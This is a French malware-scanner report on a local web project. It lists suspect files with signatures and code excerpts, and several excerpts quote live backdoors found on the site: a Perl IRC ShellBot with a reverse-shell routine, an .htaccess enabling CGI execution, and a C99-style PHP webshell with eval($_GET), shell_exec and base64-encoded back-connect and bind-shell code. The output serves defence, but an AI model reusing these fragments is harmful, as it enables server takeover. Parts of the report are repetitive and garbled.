Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **1215** du fichier; voici le contexte :

```
ircname = getident2();
my $realname = "uname -n";
#chop (my $realname = `uname -n`);

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = ".";
my $estatisticas = 0;
my $pacotes
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **ShellBot**
Trouvé en position **1244** du fichier; voici le contexte :

```
ealname = "uname -n";
#chop (my $realname = `uname -n`);

my $acessoshell = 1;
```

```
######## Stealth ShellBot ##########
my $prefixo = ".";
my $estatisticas = 0;
my $pacotes = 1;
##########################
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Shellbot**
Trouvé en position **1821** du fichier; voici le contexte :

```
y %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

#####################
# Stealth Shellbot  #
#####################

sub getnick {
  return "vn".int(rand(1000));
}

sub getident2 {
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **ShellBot**
Trouvé en position **3204** du fichier; voici le contexte :

```
;
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname")
     print "\nShellBot $VERSAO by: deviL__\n";
     print "nick: $nick\n";
     print "servidor: $servidor\n\n";
     s
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **5041** du fichier; voici le contexte :

```
elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **5541** du fichier; voici le contexte :

```
if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **11703** du fichier; voici le contexte :

```
addr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **11782** du fichier; voici le contexte :

```
;
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "s
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **12106** du fichier; voici le contexte :

```
open(STDOUT, ">&SOCKET");
              open(STDERR, ">&SOCKET");
              system("$shell");
              close(STDIN);
              close(STDOUT);
              close(STDERR);
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **23299** du fichier; voici le contexte :

```
= 0;
      msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
     }
   }
}
sub shell {
  return unless $acessoshell;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **23331** du fichier; voici le contexte :

```
tes desativados!") if ($estatisticas == "1");
     }
   }
```

```
}
sub shell {
  return unless $acessoshell;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg
```

8. /Applications/MAMP/htdocs/pep83/images/gmapfp/alfacgiapi/getheader.alfa *(1.66K)*

(Date dernière modif. August 28 2021 09:06:46.)

Attention Il ne s'agit pas forcément d'un virus, le mot clef 01a42e0608773366da0e371d6caa8a6f utilisé est néanmoins suspect.
Signature : **uname -a**
Trouvé en position **473** du fichier; voici le contexte :

```
hich $i)
        [[ ! -z "$which" ]] && echo -e \"$i\",'\c',
done
echo -e "\"\"],\c"
echo -e '"uname":["'$(uname -a | cut -c1-120)'"],\c'
echo -e '"userid":["'$(stat -c "%u [ %U ]" "$0")'"],\c'
echo -e '"groupid":["
```

9. /Applications/MAMP/htdocs/pep83/images/gmapfp/alfacgiapi/.htaccess *(146.00B)*

(Date dernière modif. August 28 2021 09:06:46.)

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été 4163b94078aa887f431a0b5e6d95acd0 virusé ou étant un virus
Signature : **MultiViews**
Trouvé en position **54** du fichier; voici le contexte :

```
#Coded By Sole Sad & Invisible
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .alfa
AddHandler cgi-script .alfa
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **MultiViews**
Trouvé en position **54** du fichier; voici le contexte :

```
#Coded By Sole Sad & Invisible
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .alfa
AddHandler cgi-script .alfa
```

10. /Applications/MAMP/htdocs/pep83/plugins/index.inc.php *(6.02K)* *(Date dernière modif. August 28 2021 09:04:44.)*

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été 311a5fdaab689037562f9ad89589c2e2

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été 311a3fdaab0890375b219ad895b9c2e2 virusé ou étant un virus

Signature : **Maxiumum permissible**

Trouvé en position **4127** du fichier; voici le contexte :

```
file your are attempting to download is too large.<br />'


                                    . 'Maxiumum permissible file size is <b>' . num
```

11. /Applications/MAMP/htdocs/pep83/plugins/editors/get.php *(47.58K)*

(Date dernière modif. August 28 2021 09:04:47.)

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été b2d63deca68009ecfc3081c6904401b8 virusé ou étant un virus

Signature : **eval($_GET**

Trouvé en position **35366** du fichier; voici le contexte :

```
d);
}
}

}
elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
$result = htmlspecialchars(xeval($_GET['eval']));
}
elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
$fname = xcleanp
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus

Signature : **C99Shell**

Trouvé en position **928** du fichier; voici le contexte :

```
LES GOES HERE ######################=========================================
$shell_name = "C99Shell Ordered from http://unelmovies.com";
$shell_fake_name = "Server Management System";
$shell_title
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus

Signature : **C99Shell**

Trouvé en position **928** du fichier; voici le contexte :

```
LES GOES HERE ######################=========================================
$shell_name = "C99Shell Ordered from http://unelmovies.com";
$shell_fake_name = "Server Management System";
$shell_title
```

Danger Forte probabilité qu'il s'agisse d'un fichier ayant été virusé ou étant un virus

Signature : **webshell**

Trouvé en position **30511** du fichier; voici le contexte :

```
,1);
ini_set("allow_url_include" ,1);
ini_set("open_basedir",NULL);


//--------------Watching webshell!--------------
```

```
if(array_key_exists('watching',$_POST)){
        $tmp = $_SERVER['SERVER_NAME'].$_SERVER[
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **luY2x1ZG**
Trouvé en position **1879** du fichier; voici le contexte :

```
AAAJklEQVR42mNkAAIpKan/b968YWAE
MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
$xBack ="I2">luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2">luY2x
dGluZXQvaW4uaD4NCmludCBtYWluKGlu
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **aW5jbHVkZ**
Trouvé en position **1905** du fichier; voici le contexte :

```
8YWAE
MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
$xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQoj">aW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1Z
dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **luY2x1ZG**
Trouvé en position **1939** du fichier; voici le contexte :

```
NYheotNcAAAAASUVORK5CYII=";
$xBack ="I2">luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2">luY2x
dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk
Ow0KIHN0cnVjdC
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **c2l6ZW9m**
Trouvé en position **2451** du fichier; voici le contexte :

```
NPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1
Y3Qgc29ja2FkZHIgKikgJnNpbiwg">c2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw
ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIG
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral;

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/

Signature : **luY2x1ZG**

Trouvé en position **2705** du fichier; voici le contexte :

```
IoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy
ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
$xBind = "I2">luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8
cGVzLmg+DQojaW5jbHVkZSA8c3lzL3Nv
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/

Signature : **aW5jbHVkZ**

Trouvé en position **2731** du fichier; voici le contexte :

```
YmluL3NoIiwic2giLChjaGFy
ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQoj">aW5jbHVkZSA8c3RyaW5nLmg+DQoj">aW5jbHVkZS
cGVzLmg+DQoj">aW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/

Signature : **aW5jbHVkZ**

Trouvé en position **2759** du fichier; voici le contexte :

```
opMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQoj">aW5jbHVkZSA8c3RyaW5nLmg+DQoj">aW5jbHVkZS
cGVzLmg+DQoj">aW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
CiNpbmNsd
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/

Signature : **aW5jbHVkZ**

Trouvé en position **2793** du fichier; voici le contexte :

```
$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQoj">aW5jbHVkZSA8c3RyaW5nLmg+DQoj">aW5jbHVkZS
cGVzLmg+DQoj">aW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJ
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/

Signature : **luY2x1ZG**

Signature : **[illegible]**
Trouvé en position **2827** du fichier; voici le contexte :

```
DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2**">luY2x1ZG**UgPG5ldGluZXQvaW4uaD4N
CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
```

Attention Les auteurs de virus utilisent parfois le codage "en base64" pour masquer leur code viral; certains mots clefs PHP comme "eval" ou "system" p.ex. permettent l'exécution d'un code et la signature qui est mentionnée ici peut-être risquée. Pour décoder du code base64, vous pouvez utiliser différents décodeur "base64_decode" disponible sur le net dont p.ex. https://base64.avonture.be/
Signature : **pbmNsdWRl**
Trouvé en position **2862** du fichier; voici le contexte :

```
jbHVkZSA8c3lzL3R5
cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
CiN**">pbmNsdWRl**IDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZm
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **25809** du fichier; voici le contexte :

```
));
return $lastm;
}
return "???";
}
function xrunexploit($fpath,$base64,$port,$type){
$con = base64_decode($base64);
$system = trim(php_uname());
$final = "";
if(preg_match("/win/i",$system)){
$fname =
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **base64_decode**
Trouvé en position **31619** du fichier; voici le contexte :

```
che-control: max-age=".(60*60*24*7));
@readfile($file);
exit;
}
else{
$file = $$file;
$data = base64_decode($file);
@header("Content-type: image/png");
@header("Cache-control: public");
echo $data;
exit;
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **914** du fichier; voici le contexte :

```
####### VARIABLES GOES HERE ######################=============================
$shell_name = "C99Shell Ordered from http://unelmovies.com";
```

```
$shell_fake_name = "Server Management System
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Shell**
Trouvé en position **931** du fichier; voici le contexte :

```
GOES HERE ######################=============================================]
$shell_name = "C99Shell Ordered from http://unelmovies.com";
$shell_fake_name = "Server Management System";
$shell_title
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **976** du fichier; voici le contexte :

```
==================================]
$shell_name = "C99Shell Ordered from http://unelmovies.com";
$shell_fake_name = "Server Management System";
$shell_title = "---==== ".$shell_name." ====---";
$shell_
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **1024** du fichier; voici le contexte :

```
= "C99Shell Ordered from http://unelmovies.com";
$shell_fake_name = "Server Management System";
$shell_title = "---==== ".$shell_name." ====---";
$shell_version = "v1";
$shell_fav_port = "12345";
$sh
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **1050** du fichier; voici le contexte :

```
http://unelmovies.com";
$shell_fake_name = "Server Management System";
$shell_title = "---==== ".$shell_name." ====---";
$shell_version = "v1";
$shell_fav_port = "12345";
$shell_color = "#008000";
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **1075** du fichier; voici le contexte :

```
$shell_fake_name = "Server Management System";
$shell_title = "---==== ".$shell_name." ====---";
$shell_version = "v1";
$shell_fav_port = "12345";
$shell_color = "#008000";

// server software
```

```
$xSof
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **1099** du fichier; voici le contexte :

```
er Management System";
$shell_title = "---==== ".$shell_name." ====---";
$shell_version = "v1";
$shell_fav_port = "12345";
$shell_color = "#008000";

// server software
$xSoftware = trim(getenv("SER
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **1127** du fichier; voici le contexte :

```
ll_title = "--===== ".$shell_name." =====---";
$shell_version = "v1";
$shell_fav_port = "12345";
$shell_color = "#008000";

// server software
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// uname -
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **uname -a**
Trouvé en position **1225** du fichier; voici le contexte :

```
$shell_color = "#008000";

// server software
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// uname -a
$xSystem = trim(php_uname());
// server ip
$xServerIP = $_SERVER["SERVER_ADDR"];
// your ip ;-)
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **18692** du fichier; voici le contexte :

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$shell_style = "
<style type=\"text/css\">
```

```
*{
font-family:Tahoma,Verdana,Arial;
font-size:12px;
line-
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **19149** du fichier; voici le contexte :

```
111111;
height:24px;
color:#ffffff;
padding:1.5px 4px 0 4px;
margin:2px 0;
border:1px solid ".$shell_color.";
border-bottom:4px solid ".$shell_color.";
vertical-align:middle;
}

input:hover,texta
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **19192** du fichier; voici le contexte :

```
ing:1.5px 4px 0 4px;
margin:2px 0;
border:1px solid ".$shell_color.";
border-bottom:4px solid ".$shell_color.";
vertical-align:middle;
}

input:hover,textarea:hover{
background:#0a0a0a;
}

a{
c
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **19457** du fichier; voici le contexte :

```
bottom:1px solid #ffffff;
}

h1{
font-size:17px;
height:20px;
padding:2px 8px;
background:".$shell_color.";
border:0;
border-left:4px solid ".$shell_color.";
border-right:4px solid ".$shell_color
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **19509** du fichier; voici le contexte :

Trouvé en position **19509** du fichier, voici le contexte :

```
height:20px;
padding:2px 8px;
background:".$shell_color.";
border:0;
border-left:4px solid ".$shell_color.";
border-right:4px solid ".$shell_color.";
border-bottom:1px solid #222222;
margin:0 auto
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **19551** du fichier; voici le contexte :

```
nd:".$shell_color.";
border:0;
border-left:4px solid ".$shell_color.";
border-right:4px solid ".$shell_color.";
border-bottom:1px solid #222222;
margin:0 auto;
width:90%;
}

h1 img{
vertical-alig
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **19736** du fichier; voici le contexte :

```
img{
vertical-align:bottom;
}

.box{
margin:0 auto;
background:#000000;
border:4px solid ".$shell_color.";
padding:4px 8px;
width:90%;
text-align:justify;
}

.gaul{
color:".$shell_color.";
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**

Trouvé en position **19825** du fichier; voici le contexte :

```
x solid ".$shell_color.";
padding:4px 8px;
width:90%;
text-align:justify;
}

.gaul{
color:".$shell_color.";
}



.result, .boxcode{
margin:0 auto;
border:1px solid ".$shell_color.";
font-fam
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**

Trouvé en position **19906** du fichier; voici le contexte :

```
.gaul{
color:".$shell_color.";
}



.result, .boxcode{
margin:0 auto;
border:1px solid ".$shell_color.";
font-family:Lucida Console,Tahoma,Verdana;
padding:8px;
text-align:justify;
overflow:h
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**

Trouvé en position **20117** du fichier; voici le contexte :

```
color:#ffffff;
}


#explorer, table{
width:100%;
}

table th{
border-bottom:1px solid ".$shell_color.";
background:#111111;
padding:4px;
}

table td{
padding:4px;
border-bottom:1px solid
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **20315** du fichier; voici le contexte :

```
solid #111111;
vertical-align:top;
}

.tblExplorer tr:hover, .hexview td:hover{
background:".$shell_color.";
}


.hidden{
display:none;
}
.tblbox td {
margin:0;
padding:0;
border-bottom:1px
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **20632** du fichier; voici le contexte :

```
ext-align:center;
}
#wrapper{
width:90%;
margin:auto;

}

.cmdbox{
border-top:1px solid ".$shell_color.";
border-bottom:1px solid ".$shell_color.";
margin:4px 0;
width:100%;
}

.fpath{
bord
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **20675** du fichier; voici le contexte :

```
margin:auto;

}

.cmdbox{
border-top:1px solid ".$shell_color.";
border-bottom:1px solid ".$shell_color.";
margin:4px 0;
width:100%;
}

.fpath{
border-top:1px solid ".$shell_color.";
border-
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **20757** du fichier; voici le contexte :

```
ttom:1px solid ".$shell_color.";
margin:4px 0;
width:100%;
}

.fpath{
border-top:1px solid ".$shell_color.";
border-bottom:1px solid ".$shell_color.";
margin:4px 0;
padding:4px 0;
}

.fprop{
b
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **20800** du fichier; voici le contexte :

```
x 0;
width:100%;
}

.fpath{
border-top:1px solid ".$shell_color.";
border-bottom:1px solid ".$shell_color.";
margin:4px 0;
padding:4px 0;
}

.fprop{
border-top:1px solid ".$shell_color.";
bord
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **shell**

Trouvé en position **20885** du fichier; voici le contexte :

```
m:1px solid ".$shell_color.";
margin:4px 0;
padding:4px 0;
}

.fprop{
border-top:1px solid ".$shell_color.";
border-bottom:1px solid ".$shell_color.";
margin:4px 0;
padding:4px 0;
}


.bottomw
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.

Signature : **shell**

Trouvé en position **20928** du fichier; voici le contexte :

```
;
padding:4px 0;
}

.fprop{
border-top:1px solid ".$shell_color.";
border-bottom:1px solid ".$shell_color.";
margin:4px 0;
padding:4px 0;
}


.bottomwrapper{
text-align:center;
}

.btn{
he
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell_exec**
Trouvé en position **27553** du fichier; voici le contexte :

```
ru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function xdir($path){
$path = trim($path);
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell_exec**
Trouvé en position **27578** du fichier; voici le contexte :

```
t_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function xdir($path){
$path = trim($path);
$path = xcleanpath($path)
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **webshell**
Trouvé en position **30511** du fichier; voici le contexte :

```
,1);
ini_set("allow_url_include" ,1);
ini_set("open_basedir",NULL);


//--------------Watching webshell!--------------
if(array_key_exists('watching',$_POST)){
        $tmp = $_SERVER['SERVER_NAME'].$_SERVER[
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **30850** du fichier; voici le contexte :

```
------------------


if(isset($_POST['passw'])){
$check = trim($_POST['passw']);
```

```
if($check == $shell_password){
setcookie("pass",$check,time() + 3600*24*7);
$m = $_SERVER['SCRIPT_NAME'];
header("Lo
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **31131** du fichier; voici le contexte :

```
}
if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
else $check = "";
if($check == $shell_password){
$auth = true;
}
else $auth = false;
if(isset($_GET['img'])){
$file = xclean($_GET['
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **40558** du fichier; voici le contexte :

```
==============]
if($auth){
if(isset($_GET['bportC'])) $bportC = $_GET['bportC'];
else $bportC = $shell_fav_port;
if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
else $lportC = $shell_fav_port;
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **40646** du fichier; voici le contexte :

```
$bportC = $shell_fav_port;
if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
else $lportC = $shell_fav_port;
$html_title = $shell_title." ".$xCwd;
$html_head = "
<title>".$html_title."</title>
<
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **40678** du fichier; voici le contexte :

```
isset($_GET['lportC'])) $lportC = $_GET['lportC'];
else $lportC = $shell_fav_port;
$html_title = $shell_title." ".$xCwd;
$html_head = "
<title>".$html_title."</title>
<link rel=\"SHORTCUT ICON\" href=
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **40831** du fichier; voici le contexte :

```
l_title."</title>
<link rel=\"SHORTCUT ICON\" href=\"".$_SERVER['SCRIPT_NAME']."?img=icon\" />
".$shell_style."
<script type=\"text/javascript\">
function updateInfo(boxid,typ){
if(typ == 0){
var pol
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **41990** du fichier; voici le contexte :

```
ghthexdump(address){
var target = document.getElementById(address);
target.style.background = '".$shell_color."';
}
function unhighlighthexdump(address){
var target = document.getElementById(address);
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **42313** du fichier; voici le contexte :

```
yle.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?';
<div class=\"box\">".$xHeader."
<div class=\"fpath\">
".xdrive().xparsedir($xCw
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **BindShell**
Trouvé en position **42990** du fichier; voici le contexte :

```
ss=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newconnect');\"><span class=\"gaul\">[ </span>BindShe
<a href=\"javascript:show('div_eval');\"><span class=\"gaul\">[
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **Shell**
Trouvé en position **46646** du fichier; voici le contexte :

```
".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Shellname</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"childname\"
```

Attention Il ne s'agit pas forcément d'un virus, le mot clef utilisé est néanmoins suspect.
Signature : **shell**
Trouvé en position **46763** du fichier; voici le contexte :

```
style=\"width:304px;\">
```

```
